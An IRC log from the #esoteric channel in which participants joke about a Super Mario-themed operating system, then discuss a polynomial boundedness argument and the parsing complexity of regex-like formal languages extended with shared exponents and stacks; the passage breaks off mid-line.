PRIVMSG #esoteric :I was thinking of designing an esoteric operating system. < 1268604711 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :Based on Super Mario Bros. < 1268604744 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :oh really now? < 1268604748 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :es < 1268604749 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1268604751 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION carefully scuttles away from the madman :D
< 1268604751 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :expound please < 1268604758 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :you go down tubes to enter programs < 1268604804 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :on another part of the screen is another mario, in an array of blocks with different QWERTY keyboard keys on them, and when you hit a block, the keystroke is injected < 1268604816 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :the keyboard is two NES controllers < 1268604822 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :or something < 1268604860 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, what if the constant is prime? < 1268605031 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: that's why you need to make the other variables large enough that the polynomial cannot be that value < 1268605054 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :only something divisible by it < 1268605070 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh right! < 1268605095 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :so a physically transversable OS environment < 1268605125 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i suppose if you have more than one variable you need to take care somehow that their largeness doesn't cancel out < 1268605149 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1268605171 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :can you make a nonzero multivariate polynomial whos absolute value is always below some constant < 1268605176 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :nonconstant* < 1268605183 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i doubt it < 1268605234 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :first, you only need to look at the terms of largest degree (the others will vanish in comparison in the limit) < 1268605255 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :but if there is more than one such term they might cancel < 1268605268 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :x^m y^n - x^n y^m say < 1268605271 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1268605326 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :actually, you can start by looking at the variable with largest term alone < 1268605340 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :x^n * something in the other variables < 1268605355 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :if that something is not 0, then you only need to blow up x < 1268605464 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh right and we can use induction to choose the other variables such that it is not zero :D < 1268605494 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr2.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1268605496 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that something is after all a polynomial in the remaining variables, one variable less < 1268605501 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :O HAI < 1268605515 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :so by induction we can make it nonzero (in fact as large as we wish) < 1268605525 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :wow < 1268605559 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and after we've done that the other variables are fixed, even if large, so we can blow up x even more < 1268605574 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*possibly large < 1268605638 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :is there any sites dedicated to esoteric operating systems? < 1268605667 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :songhead95: afaik there is only one community for all things esoteric, and you are there < 1268605692 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :k kool < 1268605699 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :see also our wiki < 1268605703 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :esolangs? < 1268605706 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1268605713 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :seen, and contributed < 1268605723 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh right < 1268605741 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :have my own language :] < 1268605756 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I wish I was better at this myself :D < 1268605765 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :there might be some other sites for specific things (lolcode?) with "mass appeal" < 1268605787 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(note lolcode is considered too vanilla here, or something :) ) < 1268605834 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and of course there are sites of individual esolangers. < 1268605872 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so fax < 1268605876 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :lets try to work on this :o < 1268605889 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :whatcha talkin bout? < 1268605913 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i don't know what augur is talking about < 1268605931 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i wasnt talkting to oerjan so it doesnt matter :D < 1268605936 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :tho oerjan < 1268605939 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :what im talking about < 1268605947 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :augur what exactly < 1268605954 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i thought fax was talking to me, so i don't understand what "this" you would be referring to < 1268605962 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I was < 1268605968 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :is a class of formal languages that can be compactedly expressed in a regular expression like form < 1268605973 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :well ok then... < 1268606052 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: and you joined after songhead95 so i was assuming you weren't referring to his project < 1268606065 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1268606151 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: oh that more than CF thing i briefly saw you mention? < 1268606177 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :sort of. there seems to be a class of languages which cut across various levels < 1268606192 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :linear time, you said < 1268606202 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :which can be parsed in linear time and which have the convenient property of being describably in compact, Regex-like form < 1268606203 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I don't know what you are talking about augur < 1268606211 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :so, they are all context sensitive, since that includes everything linear _space_ < 1268606213 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :point free < 1268606216 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :? < 1268606242 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: i dont know if they're all CS < 1268606259 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i dont know much about them, i dont think they're a previously investigated class < 1268606296 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: i vaguely recall somewhere reading that there aren't any concrete examples (at least not naturally occuring) of CF languages not parsable in linear time if you can walk around in the string, or something like that < 1268606305 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1268606329 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: it's just an observation from the known fact that CS languages == languages parsable in linear space < 1268606340 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and linear time is a subset of linear space < 1268606352 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ok. < 1268606365 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :anyway < 1268606385 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the language a^n b^n c^n is classically non-CF but its lineartime and obviously regexlike < 1268606410 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :since you could just use that like the regex. or using standardish notation, a{n}b{n}c{n} < 1268606415 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and thats completely linear time < 1268606422 0 :songhead95!unknown@unknown.invalid PART #esoteric :? < 1268606427 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :infact, a{n}b{n}c{n}d{n}... etc < 1268606436 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1268606443 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :REGEX + numbers? < 1268606444 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :infact, for _arbitrary different powers, in _arbitrary_ orders < 1268606450 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :exponentiation < 1268606457 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :not just exponentiation < 1268606464 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :linked exponentiation < 1268606484 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :even classically hard linguistic phenomena like cross-serial dependencies are possible < 1268606496 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :e.g. a^m b^n c^m d^n < 1268606497 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :surely you can't parse stuff like (a{n}){m} in linear time? < 1268606507 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :probably not. < 1268606518 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :(I think that is the compliment of primes?) < 1268606524 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :unary < 1268606532 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well, (a^m)^n might be. it depends on your interpretation of that, right < 1268606554 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i mean, you could interpret that the following two ways < 1268606568 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: hm you'd have to be able to do a prime check on mn in time O(mn), that sounds doable < 1268606582 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :thats either a^(m*n), so just a^m < 1268606627 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :OR you could interpret that as a^(m_0) a^(m_1) ... a^(m_n) for different m's each time < 1268606630 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh right you need m,n>=2. but i assume that's easy to rephrase. < 1268606638 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :which is i suppose also just a^m < 1268606661 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you need multiple symbols to get intrigue < 1268606668 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :(a^m b^m)^n < 1268606680 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: make it (a^m)^n a^m a^n a < 1268606685 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :or that < 1268606686 0 :werdan7!unknown@unknown.invalid QUIT :Ping timeout: 619 seconds < 1268606696 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i dont know if those are linear time < 1268606716 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but importantly, they're conveniently trivial to represent < 1268606724 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: i think they are. you can store the numbers you've counted in binary, after all < 1268606739 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :so arithmetic is likely much _less_ than linear in the whole thing < 1268606748 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :actually, i think a^(m*n) a^m a^n a is probably not complicated < 1268606752 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :it might even be CF < 1268606773 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: it's a^((m+1)*(n+1)) < 1268606786 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :lets see < 1268606798 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :huh < 1268606800 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ok if m, n can be zero we've still got nowhere < 1268606807 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :we can put arbitrary polynomials like this? < 1268606812 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :a^(P(x,y,z,w)) < 1268606826 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well but see then the question is whether or not P is valid in that, right < 1268606828 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :then it can be unary representation of any recursive set :P < 1268606846 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :because arguably, { p(w) : w in {a,b}* } < 1268606848 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: if we can nest (a^m)^n it's just a matter of expanding the polynomial back using the distributive law < 1268606851 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :where p is the permute function < 1268606855 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :is linear time < 1268606866 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the language is just the Bach/MIX language < 1268606899 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but permutation seems to be a valid thing to have in such a simple notation < 1268606912 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :or is it? < 1268606931 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i mean, this is what im not sure about. < 1268606978 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :even _if_ such a thing were accepted, tho, i dont think the grammar for, say, simple math expressions, would be expressable. < 1268607014 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :e.g. exp -> 0 | ... | 9 | (exp op exp) ; op -> + | - | * | / < 1268607030 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: i just said that polynomials can be expanded. a^(p(...)+q(...)) = a^p(...) a^q(...) etc. < 1268607031 0 :werdan7!~w7@freenode/staff/wikimedia.werdan7 JOIN :#esoteric < 1268607054 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :im pretty sure that thats not possible to describe with the sort of transparent stuff we're talking about, so. < 1268607082 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: if you have (a^m)^n, then you have all you need to expand things < 1268607092 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :to what now? < 1268607098 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :to _that_ < 1268607105 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i dont follow < 1268607161 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :e.g. a^(m^2 + m*n + 2*n) = (a^m)^m (a^m)^n a^n a^n < 1268607180 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oh, right < 1268607193 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but the question was wheat power is required for the (a^m)^n part < 1268607249 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: well i'm pretty sure (a^m)^n _alone_ can be parsed in linear time, even with m, n >= 2 restriction. whether it can be combined with other things is another matter. < 1268607262 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :right < 1268607284 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :in fact given we just mentioned that 26-variable polynomial giving the primes, we might have some trouble :D < 1268607306 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :otoh that has negative coefficients. those might be trouble in themselves. < 1268607333 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :probably. < 1268607379 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :im curious tho precisely what the computational class of these things are < 1268607384 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :because theyre not the CS languages < 1268607389 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :augur of what? < 1268607449 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yeah we haven't got the precise definition yet < 1268607486 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :lets say of languages describable using just the regular processes (e.g. |, ?, +, *, concateenation, subtraction) < 1268607495 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :plus coindexed exponentiation, say < 1268607524 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :coindexed? :( < 1268607530 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :a^n b^n < 1268607530 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :is that like variables numbers only < 1268607537 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :mm okay < 1268607548 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: and that is the class you've heard is linear time? < 1268607550 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :where you share the exponent < 1268607563 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: that is the class that im interested in, which i suspect might be linear time < 1268607567 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :exponents can be just single variables, then? < 1268607581 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :because it seems to be a trivial addition to regular expressions that let them handle INCREDIBLY non-regular languages < 1268607585 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: oh i thought this was some known class you were referring to? < 1268607591 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no < 1268607597 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :thats why im interested in them < 1268607603 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :im fairly certain theyre _not_ known < 1268607611 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :well this language AUG is equivalent to having {n+3} type indices, because you can just expand them out < 1268607619 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric ::p < 1268607628 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :theres also another class you might imagine < 1268607631 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you can also multiply them, because (X{a}){b} = X{a*b} < 1268607638 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :regular languages + stack operations < 1268607657 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ok. i am now suspecting things might get hairy (possibly nonlinear) if you allow exponents to nest < 1268607665 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :e.g. if you had a global stack, you can push and pop to the stack each time you read something of a certain nature < 1268607676 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :because of having all those polynomials < 1268607681 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION doesn't lik stacks :(
< 1268607713 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :e.g. lets say that {+x} means push x, and {-x} means pop x, then a{+x}*b{-x}* i think would generate a^n b^n < 1268607744 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so thats basically a*b* but each time you read an a you push an x to the stack, and each time you read a b you pop an x from the stack < 1268607782 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and the language is recognized if the whole string is consumed, the stack ends up empty, and at no point do you fail to be able to pop a symbol < 1268607787 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :if you need to pop it. < 1268607870 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268607956 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh food -> < 1268607956 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i think that would generate a similar class of languages but not the _same_ class < 1268607967 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :like, if you had named stacks, you could do < 1268608007 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :a{a+x}*b{b+x}*c{a-x}*d{b-x}* < 1268608023 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :where a{a+x} pushes an x to the stack named a < 1268608024 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :etc < 1268608072 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and that would generate the language a^m b^n c^m d^n but using that you couldnt get one extra exponent to m at the end < 1268608076 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :because the a stack would be empty < 1268608084 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but if you could push to multiple stacks who knows! < 1268608143 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :a{a+x,b+x}*b{a-x}*c{b-x} which i think would generate a^m a^n b^n c^m < 1268608148 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :which is trivially CF < 1268608163 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but you could use that interestingly < 1268608473 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1268608643 0 :kwertii!~kwertii@ResNet-35-132.resnet.ucsb.edu JOIN :#esoteric < 1268608705 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well that stack thing is at least in NP... since you can always guess < 1268608741 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh hm < 1268608759 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :if you have multiple stacks then you can copy them < 1268608780 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :{-x}{+y}{+y} < 1268608853 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i have a suspicion that might give you a minsky machine - something TC, definitely not linear < 1268608881 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :mm i dont know < 1268608898 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :er < 1268608917 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :* {a-x}{b+x}{c+x} < 1268608919 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i mean, look, ignoring the time it takes to do stack operations, which is roughly constant because you're at most pushing or popping form all stacks < 1268608930 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :each symbol takes constant time to recognize < 1268608942 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but backtracking < 1268608948 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no backtracking < 1268608966 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :deterministic processes < 1268608977 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :maybe. i dont know. :p < 1268608982 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :;D < 1268608999 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i mean, this is sort of where the extras fuck you up, right < 1268609000 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: oh this minsky machine thing is not about symbols at all. you could do TC computation without reading a single symbol, once you have filled the stacks from your input < 1268609027 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1268609036 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1268609071 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so i guess the real question is, what is an interesting subset of these languages < 1268609083 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :if you can only use a single global stack, is that interesting? < 1268609098 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :what about a global stack with only one symbol, eg its an integer register? < 1268609108 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :what about multiple integer registers? etc. < 1268609128 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :multiple integer registers no, since that's all you use for minsky machines anyway < 1268609134 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :right < 1268609186 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :my implementation for the exponent language just has integer registers which necessarily reset to their fullest just prior to transitioning to a symbol that pops from it. < 1268609196 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :two global stacks, um now we are dangerously close to a brainfuck tape... < 1268609215 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :e.g. a^n b^n c^n pushes n times, then transitions to another stack, pops n times, then resets, and transitions and pops n times again < 1268609234 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but i think the crucial thing is that theres some transparency between the symbols and the string, right < 1268609260 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: you said something about determinism, that's rather different from regexes... < 1268609273 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i was maaaaybe saying you have deterministic processes < 1268609300 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you can do the majority of regexes deterministically, modulo the non-regular processes < 1268609321 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i dont know if you could do this deterministically. probably not. < 1268609349 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :because a^m a^n b^m c^n will i think be potentially problematic < 1268609361 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :e.g. aaabbc vs aaabcc < 1268609380 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well you'll need some arithmetic at least, not just a stack machine < 1268609396 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well no, you dont need arithmetic < 1268609416 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i mean to parse in linear time < 1268609418 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you'd just need backtracking to branch off when you change from incrementing m to incrementing n < 1268609426 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so that probably isnt linear time < 1268609448 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :a^m a^n b^m c^n pretty obviously can be parsed in linear time < 1268609464 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well, it IS just a^n a^m b^m c^n < 1268609469 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so its a simple CF language < 1268609477 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so i guess it is indeed linear time < 1268609484 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, it CAN but actually doing it in a general way seems like a difficult problem to me < 1268609487 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but getting a linear time stack machine < 1268609495 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :state* machine < 1268609502 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, I mean you just parse a^x then b^m and then c^(x-m) < 1268609509 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but figuring that out in linear time ? < 1268609512 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :if you don't allow nested exponents, then maybe it is possible. would require some integer linear equations i think < 1268609514 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :right, if you could do the arithmetic then sure. < 1268609532 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :also... I wonder if this way, we might introduce subtraction :)))) < 1268609537 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :then again, you'd build state machines for each thing, right < 1268609540 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :then reach full recursive sets < 1268609552 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so you'd be given the expression /a{m}a{n}b{m}c{n}/ < 1268609602 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and you'd just do some arithmomagic internally to turn that into /a{x}b{x-n}c{x-m}/ where the second exponents are calculated once you transition away form the last a < 1268609618 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so yeah that would do it, you're right < 1268609626 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yeah but remember we have multiplication and addition of constants < 1268609632 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :so this is getting a bit wild < 1268609636 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :thats ok < 1268609647 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i dont think having simple math is a problem < 1268609660 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i'm much more doubtful if we have multiplication < 1268609664 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric : /a{n}b{2*n}/ should be a valid expression < 1268609668 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :simle math? :))) < 1268609677 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :augur diophantine equations are recursive < 1268609678 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :as should /a{m}b{n}c{m*n}/ < 1268609683 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :although i'm not sure even with linear stuff < 1268609684 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hilberts 10th < 1268609714 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :perhaps! < 1268609714 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but < 1268609715 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: there is a limitation in that we have a finite string to parse < 1268609738 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :so we cannot get arbitrarily large numbers for parsing a given string < 1268609744 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1268609754 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :it depends on what simplicity we allow. is there a way to get /a{x}b{some recursive equation dependent on x}/? < 1268609759 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yeah you are right, that puts a strong limitation on it < 1268609815 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i mean, sure, diophantine equations are recursive < 1268609823 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but do we need to _solve_ them or just compute a value with one < 1268609833 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :*nod* < 1268609877 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :because if we have, say, /a{x}b{y}c{3x + 5y}/ you have, _roughly_, a diophantine equation. or at least part of one < 1268609877 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :in principle we could just go through all possible values of the exponents and test each combination in turn. i don't think that gives linear time though :D < 1268609883 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268609884 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but you're not solving for x and y, you're _given_ x and y < 1268609885 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1268609893 0 :augur!unknown@unknown.invalid PRIVMSG 